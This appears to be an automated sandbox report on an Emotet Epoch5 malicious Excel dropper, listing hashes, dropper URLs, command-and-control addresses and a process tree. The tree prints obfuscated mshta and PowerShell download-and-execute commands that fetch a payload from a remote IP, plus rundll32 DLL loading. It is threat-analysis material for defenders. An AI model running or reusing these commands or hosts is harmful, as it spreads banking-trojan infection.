emotet | 232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a

General

Target

232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a.xlsm
Size

112KB
MD5

135438c355dc376a0e2bff7572584eff
SHA1

d4b6306dabe42f9fcdcb3e9dcf618eee5bebe37a
SHA256

232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a
SHA512

15b3433861cb69da8cb190c11c52077ef95c3bcbe1f6fa22e5e8bef01ffbff9bee3551cf267f894008d04ed2372cd48d05752c119a9abc6abb71a946aaaf7e6e

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2548	3776	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

17 2952 mshta.exe
27 2752 powershell.exe
31 2752 powershell.exe
42 1020 rundll32.exe
43 1020 rundll32.exe
45 1020 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1068 rundll32.exe
2356 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Rslcqd\hffxiqrvwwepw.tcy rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3736 2952 WerFault.exe mshta.exe

flow	pid	process
17	2952	mshta.exe
27	2752	powershell.exe
31	2752	powershell.exe
42	1020	rundll32.exe
43	1020	rundll32.exe
45	1020	rundll32.exe

pid	process
1068	rundll32.exe
2356	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Rslcqd\hffxiqrvwwepw.tcy	rundll32.exe

pid	pid_target	process	target process
3736	2952	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3776 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
3736	WerFault.exe
2752	powershell.exe
2752	powershell.exe
2752	powershell.exe
1020	rundll32.exe
1020	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3736 WerFault.exe
Token: SeDebugPrivilege 2752 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3736	WerFault.exe
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of SetWindowsHookEx 22 IoCs

Processes:

EXCEL.EXE

pid	process
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3776 wrote to memory of 2548	3776	EXCEL.EXE	cmd.exe
PID 3776 wrote to memory of 2548	3776	EXCEL.EXE	cmd.exe
PID 2548 wrote to memory of 2952	2548	cmd.exe	mshta.exe
PID 2548 wrote to memory of 2952	2548	cmd.exe	mshta.exe
PID 2952 wrote to memory of 2752	2952	mshta.exe	powershell.exe
PID 2952 wrote to memory of 2752	2952	mshta.exe	powershell.exe
PID 2752 wrote to memory of 3020	2752	powershell.exe	cmd.exe
PID 2752 wrote to memory of 3020	2752	powershell.exe	cmd.exe
PID 3020 wrote to memory of 1068	3020	cmd.exe	rundll32.exe
PID 3020 wrote to memory of 1068	3020	cmd.exe	rundll32.exe
PID 3020 wrote to memory of 1068	3020	cmd.exe	rundll32.exe
PID 1068 wrote to memory of 2356	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 2356	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 2356	1068	rundll32.exe	rundll32.exe
PID 2356 wrote to memory of 2816	2356	rundll32.exe	rundll32.exe
PID 2356 wrote to memory of 2816	2356	rundll32.exe	rundll32.exe
PID 2356 wrote to memory of 2816	2356	rundll32.exe	rundll32.exe
PID 2816 wrote to memory of 1020	2816	rundll32.exe	rundll32.exe
PID 2816 wrote to memory of 1020	2816	rundll32.exe	rundll32.exe
PID 2816 wrote to memory of 1020	2816	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\232b0ace6a2a7e19d01426b6e41288d2b789d50da050eb26fbf1b5e076ad452a.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3776

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2548

C:\Windows\system32\mshta.exe
mshta http://92.255.57.195/ru/ru.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2952

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2952 -s 1644
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2752

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:3020

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2356

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rslcqd\hffxiqrvwwepw.tcy",uHzLJA
8⤵
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Rslcqd\hffxiqrvwwepw.tcy",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1020

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
e9968076c97fcb1b320514dd136672e9

SHA1
507c092487e345696c8bca48ea4b5094c6ac9427

SHA256
f3aebd787132dd78c03ffd81f508827826570d11dc808d4e3cfdd6e504bb8f02

SHA512
eb16c5d5e3bd9c25baba575c386b1bfedd1f6b48211cdca0aca8ad7b0bb064c12ddbc3d794b41c34f7365f8555365ddcc89eec4a3363311f6af3ee2521e85fd0

Download Submit
\Users\Public\Documents\ssd.dll
MD5
e9968076c97fcb1b320514dd136672e9

SHA1
507c092487e345696c8bca48ea4b5094c6ac9427

SHA256
f3aebd787132dd78c03ffd81f508827826570d11dc808d4e3cfdd6e504bb8f02

SHA512
eb16c5d5e3bd9c25baba575c386b1bfedd1f6b48211cdca0aca8ad7b0bb064c12ddbc3d794b41c34f7365f8555365ddcc89eec4a3363311f6af3ee2521e85fd0

Download Submit
\Users\Public\Documents\ssd.dll
MD5
e9968076c97fcb1b320514dd136672e9

SHA1
507c092487e345696c8bca48ea4b5094c6ac9427

SHA256
f3aebd787132dd78c03ffd81f508827826570d11dc808d4e3cfdd6e504bb8f02

SHA512
eb16c5d5e3bd9c25baba575c386b1bfedd1f6b48211cdca0aca8ad7b0bb064c12ddbc3d794b41c34f7365f8555365ddcc89eec4a3363311f6af3ee2521e85fd0

Download Submit
memory/1020-615-0x0000000001100000-0x0000000001128000-memory.dmp

Filesize
160KB

Download
memory/2356-603-0x00000000010E0000-0x0000000001108000-memory.dmp

Filesize
160KB

Download
memory/2356-601-0x0000000000A70000-0x0000000000A98000-memory.dmp

Filesize
160KB

Download
memory/2752-416-0x000001AD33360000-0x000001AD4B510000-memory.dmp

Filesize
385.7MB

Download
memory/2752-275-0x000001AD332E0000-0x000001AD33302000-memory.dmp

Filesize
136KB

Download
memory/2752-347-0x000001AD4B460000-0x000001AD4B49C000-memory.dmp

Filesize
240KB

Download
memory/2752-382-0x000001AD4B900000-0x000001AD4B976000-memory.dmp

Filesize
472KB

Download
memory/2752-485-0x000001AD33360000-0x000001AD4B510000-memory.dmp

Filesize
385.7MB

Download
memory/2752-548-0x000001AD33360000-0x000001AD4B510000-memory.dmp

Filesize
385.7MB

Download
memory/2816-611-0x0000000000C40000-0x0000000000C68000-memory.dmp

Filesize
160KB

Download
memory/3776-129-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

Filesize
64KB

Download
memory/3776-128-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

Filesize
64KB

Download
memory/3776-121-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3776-118-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3776-117-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3776-115-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3776-116-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads